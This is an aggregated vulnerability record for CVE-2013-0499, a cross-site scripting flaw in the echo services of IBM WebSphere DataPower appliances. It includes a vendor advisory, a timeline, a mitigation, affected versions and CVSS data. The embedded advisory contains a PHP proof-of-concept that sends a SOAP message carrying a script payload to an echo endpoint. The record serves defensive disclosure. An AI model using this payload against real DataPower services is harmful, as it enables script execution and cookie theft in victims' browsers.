ID

VAR-201305-0236


CVE

CVE-2013-0499


TITLE

IBM WebSphere DataPower SOA Appliance cross-site scripting vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2013-002845

DESCRIPTION

Cross-site scripting (XSS) vulnerability in the echo functionality on IBM WebSphere DataPower SOA appliances with firmware 3.8.2, 4.0, 4.0.1, 4.0.2, and 5.0.0 allows remote attackers to inject arbitrary web script or HTML via a SOAP message, as demonstrated by the XML Firewall, Multi Protocol Gateway (MPGW), Web Service Proxy, and Web Token services. WebSphere DataPower SOA Appliances are prone to a cross-site scripting vulnerability. An attacker may leverage this issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. IBM WebSphere DataPower SOA Appliances is a set of network equipment of IBM Corporation in the United States. The appliance is primarily used to simplify, secure and accelerate XML and Web services deployment in SOA. SEC Consult Vulnerability Lab Security Advisory < 20130523-0 > ======================================================================= title: JavaScript Execution in WebSphere DataPower Services product: IBM WebSphere DataPower Integration Appliance XI50 vulnerable version: 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0 fixed version: not available, config changes CVE number: CVE-2013-0499 impact: Low/Medium homepage: https://www.ibm.com/ found: 2013-01-28 by: A. Falkenberg SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor/product description: ----------------------------- WebSphere® DataPower® appliances simplify, govern, and optimize the delivery of services and applications and enhance the security of XML and IT services. They extend the capabilities of an infrastructure by providing a multitude of functions. URL: http://www-03.ibm.com/software/products/us/en/datapower/ Vulnerability overview/description: ----------------------------------- For the purposes of debugging, DataPower provides configuration options to echo requests received from the client. For example, XML Firewall service can be configured to echo requests by choosing the backend as 'loopback'. Other services like Multi Protocol Gateway and Web Service Proxy can be configured to echo requests by setting the variable “var://service/mpgw/skip-backside” in its processing policy. In such configurations, the requests are not sent to a backend server. Without adequate validation and processing, the requests may be echoed back to the client. Loopback services that blindly echo requests should only be used for debugging purposes and not intended to be run in production environments as they can result in potential security threats. For example, if an arbitrary JavaScript embedded request is sent to such services, they will simply echo it back resulting in a potential JavaScript execution vulnerability in the client's browser. URL: https://www-304.ibm.com/support/docview.wss?uid=swg21637717 Proof of concept: ----------------- The proof of concept was tested on an IBM Xi50 with the backend configured as a "loopback" Web Service. Any valid SOAP message sent to the Web service is returned unmodified to the receiver. If the SOAP response of the "loopback" Web Service is parsed by a browser, any JavaScript that is contained within the XML document will get executed. The following PHP script demonstrates a reflected cross site scripting. <?php $soapEndpoint = "http://127.0.0.1:80"; $soapMessage = '<?xml version="1.0"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sam="http://sample02.policy.samples.rampart.apache.org"> <soapenv:Header/> <soapenv:Body> <sam:echo> <html:html xmlns:html="http://www.w3.org/1999/xhtml"> <html:script>alert("XML XSS");</html:script> </html:html> </sam:echo> </soapenv:Body> </soapenv:Envelope>'; if(isset($_POST['soapMessage']) and isset($_POST['soapUrl'])){ $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, $_POST['soapUrl'] ); curl_setopt($soap_do, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($soap_do, CURLOPT_TIMEOUT, 10); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $_POST['soapMessage']); curl_setopt($soap_do, CURLOPT_HTTPHEADER, array('Content-Type: text/xml; charset=utf-8', 'Content-Length: '.strlen($_POST['soapMessage']) )); $result = curl_exec($soap_do); $err = curl_error($soap_do); header('Content-type: text/xml'); echo $result; exit; } ?> <html> <body> <h1>XSS XML Proxy</h1> <form name="input" action="" method="post"> SOAP Endpoint: <input type="text" name="soapUrl" value="<?php echo $soapEndpoint; ?>"><br /> SOAP Message:&nbsp; <textarea cols="70" name="soapMessage" rows="14"><?php echo $soapMessage; ?></textarea><br /> <br /> <input type="submit" value="Submit"> </form> </body> </html> Vulnerable / tested versions: ----------------------------- SEC Consult verified the vulnerability in the WebSphere DataPower Appliance XI50. The vendor provided an extended list of vulnerable versions: WebSphere DataPower 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0. Vendor contact timeline: ------------------------ 2013-01-30: Sending advisory and proof of concept exploit via encrypted channel. 2013-01-31: Vendor confirms receipt 2013-05-17: Vendor posts security bulletin 2013-05-23: SEC Consult releases coordinated security advisory. Solution: --------- The vendor does not offer a patch. The vulnerability can be prevented by disabling the services to blindly echo requests back. A detailed description can be found on the vendor's site: https://www-304.ibm.com/support/docview.wss?uid=swg21637717 Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF A. Falkenberg / @2013

Trust: 2.07

sources: NVD: CVE-2013-0499 // JVNDB: JVNDB-2013-002845 // BID: 60027 // VULHUB: VHN-60501 // PACKETSTORM: 121738

AFFECTED PRODUCTS

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion:3.8.2

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion:4.0

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion:4.0.1

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion:4.0.2

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion:5.0.0

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion:3.8.2

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion:4.0

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion:4.0.1

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion:4.0.2

Trust: 1.8

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion:5.0.0

Trust: 1.8

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion:4.0.2

Trust: 1.6

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion:4.0.1

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion:4.0

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion:4.0.1

Trust: 1.6

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion:3.8.2

Trust: 1.6

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion:5.0.0

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion:3.8.2

Trust: 1.6

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion:4.0

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion:4.0.2

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion:5.0.0

Trust: 1.6

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion:4.0

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion:4.0

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion:4.0

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion:3.8.2

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion:3.8.2

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion:3.8.2

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower service gateway xg45scope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion:4.0.2

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion:4.0.2

Trust: 1.0

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi50scope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion:4.0.2

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion:4.0.1

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion:4.0.1

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion:4.0.1

Trust: 1.0

vendor:ibmmodel:websphere datapower xc10 appliancescope:eqversion:5.0.0

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52 virtual editionscope:eqversion:5.0.0

Trust: 1.0

vendor:ibmmodel:websphere datapower b2b appliance xb62scope:eqversion: -

Trust: 1.0

vendor:ibmmodel:websphere datapower integration appliance xi52scope:eqversion:5.0.0

Trust: 1.0

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope:eqversion:3.8.2

Trust: 0.8

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope:eqversion:4.0

Trust: 0.8

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope:eqversion:4.0.1

Trust: 0.8

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope:eqversion:4.0.2

Trust: 0.8

vendor:ibmmodel:websphere datapower b2b the appliance xb62scope:eqversion:5.0.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope:eqversion:3.8.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope:eqversion:4.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope:eqversion:4.0.1

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope:eqversion:4.0.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi50scope:eqversion:5.0.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope:eqversion:3.8.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope:eqversion:4.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope:eqversion:4.0.1

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope:eqversion:4.0.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52 virtual editionscope:eqversion:5.0.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope:eqversion:3.8.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope:eqversion:4.0

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope:eqversion:4.0.1

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope:eqversion:4.0.2

Trust: 0.8

vendor:ibmmodel:websphere datapower integration the appliance xi52scope:eqversion:5.0.0

Trust: 0.8

vendor:ibmmodel:websphere datapower service gateway xg45scope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower service gateway xg45 virtual editionscope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope: - version: -

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope:eqversion:3.8.2

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope:eqversion:4.0

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope:eqversion:4.0.1

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope:eqversion:4.0.2

Trust: 0.8

vendor:ibmmodel:websphere datapower xc10 the appliancescope:eqversion:5.0.0

Trust: 0.8

vendor:ibmmodel:websphere datapower soa appliancescope:eqversion:4.0.2

Trust: 0.3

vendor:ibmmodel:websphere datapower soa appliancescope:eqversion:4.0.1

Trust: 0.3

vendor:ibmmodel:websphere datapower soa appliancescope:eqversion:3.8.2

Trust: 0.3

vendor:ibmmodel:websphere datapower soa appliancescope:eqversion:4.0

Trust: 0.3

sources: BID: 60027 // JVNDB: JVNDB-2013-002845 // CNNVD: CNNVD-201305-593 // NVD: CVE-2013-0499

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-0499
value: MEDIUM

Trust: 1.0

NVD: CVE-2013-0499
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201305-593
value: MEDIUM

Trust: 0.6

VULHUB: VHN-60501
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2013-0499
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-60501
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-60501 // JVNDB: JVNDB-2013-002845 // CNNVD: CNNVD-201305-593 // NVD: CVE-2013-0499

PROBLEMTYPE DATA

problemtype:CWE-79

Trust: 1.9

sources: VULHUB: VHN-60501 // JVNDB: JVNDB-2013-002845 // NVD: CVE-2013-0499

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201305-593

TYPE

xss

Trust: 0.7

sources: PACKETSTORM: 121738 // CNNVD: CNNVD-201305-593

CONFIGURATIONS

sources: JVNDB: JVNDB-2013-002845

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-60501

PATCH

title:1637717url:http://www-01.ibm.com/support/docview.wss?uid=swg21637717

Trust: 0.8

sources: JVNDB: JVNDB-2013-002845

EXTERNAL IDS

db:NVDid:CVE-2013-0499

Trust: 2.9

db:BIDid:60027

Trust: 1.0

db:JVNDBid:JVNDB-2013-002845

Trust: 0.8

db:CNNVDid:CNNVD-201305-593

Trust: 0.7

db:XFid:82221

Trust: 0.6

db:BUGTRAQid:20130523 SEC CONSULT SA-20130523-0 :: JAVASCRIPT EXECUTION IN IBM WEBSPHERE DATAPOWER SERVICES

Trust: 0.6

db:PACKETSTORMid:121738

Trust: 0.2

db:VULHUBid:VHN-60501

Trust: 0.1

sources: VULHUB: VHN-60501 // BID: 60027 // JVNDB: JVNDB-2013-002845 // PACKETSTORM: 121738 // CNNVD: CNNVD-201305-593 // NVD: CVE-2013-0499

REFERENCES

url:https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130523-0_ibm_xi50_echo-webservice_xss_in_xml_v10.txt

Trust: 2.5

url:http://seclists.org/bugtraq/2013/may/83

Trust: 1.7

url:http://www-01.ibm.com/support/docview.wss?uid=swg21637717

Trust: 1.7

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/82221

Trust: 1.1

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-0499

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-0499

Trust: 0.8

url:http://xforce.iss.net/xforce/xfdb/82221

Trust: 0.6

url:http://www.securityfocus.com/bid/60027

Trust: 0.6

url:https://twitter.com/sec_consult

Trust: 0.1

url:https://www.ibm.com/

Trust: 0.1

url:http://127.0.0.1:80";

Trust: 0.1

url:http://sample02.policy.samples.rampart.apache.org">

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-0499

Trust: 0.1

url:https://www.sec-consult.com

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/envelope/"

Trust: 0.1

url:https://www-304.ibm.com/support/docview.wss?uid=swg21637717

Trust: 0.1

url:http://www-03.ibm.com/software/products/us/en/datapower/

Trust: 0.1

url:http://www.w3.org/1999/xhtml">

Trust: 0.1

url:http://blog.sec-consult.com

Trust: 0.1

url:https://www.sec-consult.com/en/vulnerability-lab/advisories.htm

Trust: 0.1

sources: VULHUB: VHN-60501 // JVNDB: JVNDB-2013-002845 // PACKETSTORM: 121738 // CNNVD: CNNVD-201305-593 // NVD: CVE-2013-0499

CREDITS

A. Falkenberg

Trust: 1.0

sources: BID: 60027 // PACKETSTORM: 121738 // CNNVD: CNNVD-201305-593

SOURCES

db:VULHUBid:VHN-60501
db:BIDid:60027
db:JVNDBid:JVNDB-2013-002845
db:PACKETSTORMid:121738
db:CNNVDid:CNNVD-201305-593
db:NVDid:CVE-2013-0499

LAST UPDATE DATE

2025-04-11T23:20:35.682000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-60501date:2017-08-29T00:00:00
db:BIDid:60027date:2013-05-17T00:00:00
db:JVNDBid:JVNDB-2013-002845date:2013-05-30T00:00:00
db:CNNVDid:CNNVD-201305-593date:2013-05-29T00:00:00
db:NVDid:CVE-2013-0499date:2025-04-11T00:51:21.963

SOURCES RELEASE DATE

db:VULHUBid:VHN-60501date:2013-05-28T00:00:00
db:BIDid:60027date:2013-05-17T00:00:00
db:JVNDBid:JVNDB-2013-002845date:2013-05-30T00:00:00
db:PACKETSTORMid:121738date:2013-05-23T19:51:03
db:CNNVDid:CNNVD-201305-593date:2013-05-28T00:00:00
db:NVDid:CVE-2013-0499date:2013-05-28T16:55:01.133